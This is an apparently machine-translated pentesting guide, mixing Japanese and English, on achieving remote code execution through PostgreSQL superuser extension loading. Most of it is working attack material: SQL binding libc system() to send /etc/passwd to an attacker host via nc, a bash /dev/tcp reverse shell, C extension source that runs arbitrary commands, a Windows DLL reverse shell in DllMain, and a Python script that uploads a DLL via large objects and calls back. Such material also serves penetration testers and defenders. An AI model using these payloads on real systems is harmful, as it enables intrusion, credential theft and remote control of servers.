PostgreSQL Extensions
PostgreSQLは、拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合できます。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の関数、演算子、または型を豊かにします。
バージョン8.1以降、拡張ライブラリには特定の要件が課せられています:特別なヘッダーでコンパイルされなければなりません。これがないと、PostgreSQLはそれらを実行せず、互換性があり、潜在的に安全な拡張機能のみが使用されることを保証します。
また、PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、 この投稿を読むべきです。
RCE in Linux
For more information check: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です:Metasploit module .
Copy CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6' , 'system' LANGUAGE 'c' STRICT;
SELECT system ( 'cat /etc/passwd | nc <attacker IP> <attacker port>' );
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open (cstring, int , int ) RETURNS int AS '/lib/libc.so.6' , 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write ( int , cstring, int ) RETURNS int AS '/lib/libc.so.6' , 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close ( int ) RETURNS int AS '/lib/libc.so.6' , 'close' LANGUAGE 'C' STRICT;
Base64からバイナリファイルを書くPostgresでファイルにバイナリを書き込むには、base64を使用する必要があるかもしれません。これはそのために役立ちます:
Copy CREATE OR REPLACE FUNCTION write_to_file ( file TEXT , s TEXT ) RETURNS int AS
$$
DECLARE
fh int ;
s int ;
w bytea ;
i int ;
BEGIN
SELECT open (textout( file )::cstring, 522 , 448 ) INTO fh;
IF fh <= 2 THEN
RETURN 1 ;
END IF ;
SELECT decode(s, 'base64' ) INTO w;
i : = 0 ;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1 ) INTO rs;
IF rs < 0 THEN
RETURN 2 ;
END IF ;
i : = i + 1 ;
END LOOP ;
SELECT close (fh) INTO rs;
RETURN 0 ;
END ;
$$ LANGUAGE 'plpgsql' ;
しかし、より新しいバージョンで試みたところ、次のエラーが表示されました :
Copy ERROR: incompatible library “ / lib / x86_64 - linux - gnu / libc.so. 6 ”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
このエラーはPostgreSQLのドキュメント で説明されています:
動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないように、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降必須です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PostgreSQLバージョン8.2以降、攻撃者がシステムを悪用するプロセスはより困難になりました。攻撃者は、システム上に既に存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、互換性のあるメジャーバージョンのPostgreSQLに対してコンパイルされ、特定の「マジックブロック」を含む必要があります。この対策により、PostgreSQLシステムの悪用が大幅に難しくなり、システムのアーキテクチャやバージョンの互換性についてのより深い理解が必要となります。
ライブラリをコンパイルする
次のコマンドでPostgreSQLのバージョンを取得します:
Copy SELECT version ();
PostgreSQL 9 . 6 . 3 on x86_64 - pc - linux - gnu, compiled by gcc (Debian 6 . 3 . 0 - 18 ) 6 . 3 . 0 20170516 , 64 -bit
互換性のために、主要バージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。
そのバージョンをシステムにインストールするには:
Copy apt install postgresql postgresql-server-dev-9.6
ライブラリをコンパイルします:
Copy //gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1 (pg_exec);
Datum pg_exec (PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING( 0 ) ;
PG_RETURN_INT32(system(command)) ;
}
次に、コンパイルされたライブラリをアップロードし、次のコマンドを実行します:
Copy CREATE FUNCTION sys ( cstring ) RETURNS int AS '/tmp/pg_exec.so' , 'pg_exec' LANGUAGE C STRICT ;
SELECT sys ( 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"' );
#Notice the double single quotes are needed to scape the qoutes
このライブラリは事前コンパイル済み で、いくつかの異なるPostgreSQLバージョンに対応しており、さらにこのプロセスを自動化することもできます (PostgreSQLアクセスがある場合):
WindowsでのRCE
次のDLLは、バイナリの名前 と実行したい回数 を入力として受け取り、それを実行します:
Copy #include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec (PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1 (pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec (PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR (textp) DatumGetCString ( DirectFunctionCall1 (textout , PointerGetDatum (textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32( 1 ) ;
for ( int c = 0 ; c < instances; c ++ ) {
/*launch the process passed in the first parameter*/
ShellExecute( NULL , "open" , GET_STR(PG_GETARG_TEXT_P( 0 )) , NULL , NULL , 1 ) ;
}
PG_RETURN_VOID() ;
}
このZIPファイルにコンパイルされたDLLが含まれています:
このDLLに実行するバイナリ と実行回数を指定できます。この例では、calc.exe
を2回実行します:
Copy CREATE OR REPLACE FUNCTION remote_exec ( text, integer ) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll' , 'pgsql_exec' LANGUAGE C STRICT ;
SELECT remote_exec ( 'calc.exe' , 2 );
DROP FUNCTION remote_exec ( text, integer );
ここ でこのリバースシェルを見つけることができます:
Copy #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment ( lib , "ws2_32" )
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning ( push )
#pragma warning ( disable : 4996 )
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain (_In_ HINSTANCE hinstDLL ,
_In_ DWORD fdwReason ,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[ 16 ];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char * program = "cmd.exe" ;
const char * ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT) ;
WSAStartup(MAKEWORD( 2 , 2 ) , & wsaData) ;
wsock = WSASocket(AF_INET , SOCK_STREAM ,
IPPROTO_TCP , NULL , 0 , 0 ) ;
struct hostent * host;
host = gethostbyname(ip) ;
strcpy_s(ip_addr , sizeof (ip_addr) ,
inet_ntoa( * (( struct in_addr * ) host -> h_addr))) ;
server . sin_family = AF_INET;
server . sin_port = htons(port) ;
server . sin_addr . s_addr = inet_addr(ip_addr) ;
WSAConnect(wsock , (SOCKADDR * ) & server , sizeof (server) ,
NULL , NULL , NULL , NULL ) ;
memset( & startupinfo , 0 , sizeof (startupinfo)) ;
startupinfo . cb = sizeof (startupinfo);
startupinfo . dwFlags = STARTF_USESTDHANDLES;
startupinfo . hStdInput = startupinfo . hStdOutput =
startupinfo . hStdError = (HANDLE)wsock;
CreateProcessA( NULL , program , NULL , NULL , TRUE , 0 ,
NULL , NULL , & startupinfo , & processinfo) ;
return TRUE ;
}
#pragma warning ( pop ) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function (PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1 (add_one);
Datum dummy_function (PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32( 0 ) ;
PG_RETURN_INT32(arg + 1 ) ;
}
注意、この場合は悪意のあるコードがDllMain関数内にある ことに注目してください。これは、この場合、postgresqlで読み込まれた関数を実行する必要がなく、単にDLLを読み込む だけでリバースシェルが実行される ことを意味します。
Copy CREATE OR REPLACE FUNCTION dummy_function ( int ) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll' , 'dummy_function' LANGUAGE C STRICT;
The PolyUDF project は、フル MS Visual Studio プロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(command eval 、exec 、cleanup を含む)を提供する良い出発点です。
最新のPostgreSQLバージョンにおけるRCE
最新のバージョン の PostgreSQL では、superuser
が特定のディレクトリ(Windows の C:\Program Files\PostgreSQL\11\lib
や *nix システムの /var/lib/postgresql/11/lib
など)以外から共有ライブラリファイルを ロードすることが禁止 されています。これらのディレクトリは、NETWORK_SERVICE または postgres アカウントによる書き込み操作から 保護 されています。
これらの制限にもかかわらず、認証されたデータベースの superuser
は「大きなオブジェクト」を使用してファイルシステムに バイナリファイルを書き込む ことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な C:\Program Files\PostgreSQL\11\data
ディレクトリ内への書き込みにも及びます。
重要な脆弱性は、CREATE FUNCTION
コマンドから生じます。このコマンドはデータディレクトリへの ディレクトリトラバーサルを許可 します。したがって、認証された攻撃者はこのトラバーサルを 悪用して データディレクトリに共有ライブラリファイルを書き込み、その後 ロードする ことができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
攻撃フロー
まず、大きなオブジェクトを使用して dll をアップロードする必要があります 。その方法については、こちらを参照してください:
Big Binary Files Upload (PostgreSQL) 拡張機能(この例では poc.dll の名前)をデータディレクトリにアップロードしたら、次のようにしてロードできます:
Copy create function connect_back (text , integer) returns void as '../data/poc' , 'connect_back' language C strict;
select connect_back ( '192.168.100.54' , 1234 );
Note that you don't need to append the .dll
extension as the create function will add it.
For more information read the original publication here .
In that publication this was the code use to generate the postgres extension (to learn how to compile a postgres extension read any of the previous versions ).
In the same page this exploit to automate this technique was given:
Note that you don't need to append the .dll
extension as the create function will add it.
詳細については、こちらの 元の公開物をお読みください 。
その公開物では、これが Postgres拡張を生成するために使用されたコードです (Postgres拡張をコンパイルする方法を学ぶには、以前のバージョンのいずれかをお読みください )。
同じページで、この技術を自動化するための エクスプロイトが提供されました:
Copy #!/usr/bin/env python3
import sys
if len (sys.argv) != 4 :
print ( "(+) usage %s <connectback> <port> <dll/so>" % sys.argv[ 0 ])
print ( "(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[ 0 ])
sys . exit ( 1 )
host = sys . argv [ 1 ]
port = int (sys.argv[ 2 ])
lib = sys . argv [ 3 ]
with open (lib, "rb" ) as dll :
d = dll . read ()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range ( 0 , len (d) // 2048 ):
start = i * 2048
end = (i + 1 ) * 2048
if i == 0 :
sql += "update pg_largeobject set pageno= %d , data=decode(' %s ', 'hex') where loid=1337;" % (i , d [ start : end ]. hex () )
else :
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d , decode(' %s ', 'hex'));" % (i , d [ start : end ]. hex () )
if ( len (d) % 2048 ) != 0 :
end = (i + 1 ) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d , decode(' %s ', 'hex'));" % ((i + 1 ) , d [ end :]. hex () )
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back(' %s ', %d );" % (host , port)
print ( "(+) building poc.sql file" )
with open ( "poc.sql" , "w" ) as sqlfile :
sqlfile . write (sql)
print ( "(+) run poc.sql in PostgreSQL using the superuser" )
print ( "(+) for a db cleanup only, run the following sql:" )
print ( " select lo_unlink(l.oid) from pg_largeobject_metadata l;" )
print ( " drop function connect_back(text, integer);" )
参考文献